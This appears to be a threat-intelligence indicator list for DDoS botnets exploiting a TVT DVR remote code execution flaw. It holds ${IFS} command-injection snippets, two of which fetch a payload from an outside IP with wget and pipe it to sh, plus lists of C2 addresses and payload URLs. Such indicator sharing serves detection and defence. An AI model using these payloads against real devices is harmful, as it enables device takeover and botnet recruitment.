DDoS Botnet C2s – TVT (Generic OEM) DVR RCE

# Unique exploit snippets
{IFS}185.61.137.172${IFS}31330${IFS}
{IFS}93.174.93.178${IFS}31337${IFS}
{IFS}209.141.34.34${IFS}31337${IFS}
(cd${IFS}/tmp;${IFS}wget${IFS}-qO-${IFS}http://104.244.75.222/b${IFS}|${IFS}sh${IFS}&)
(cd${IFS}/tmp;${IFS}wget${IFS}-qO-${IFS}http://205.185.115.72/b${IFS}|${IFS}sh${IFS}&)
{IFS}94.102.49.104${IFS}31338${IFS}
{IFS}94.102.49.104${IFS}31337${IFS}
{IFS}89[.]248[.]174[.]216${IFS}31337${IFS}

# Unique C2 IPs
185.61.137.172:31330
93.174.93.178:31337
209.141.34.34:31337
94.102.49.104:31338
94.102.49.104:31337
89.248.174.216:31337

# Unique payload URLs
http://104.244.75.222/b
http://205.185.115.72/b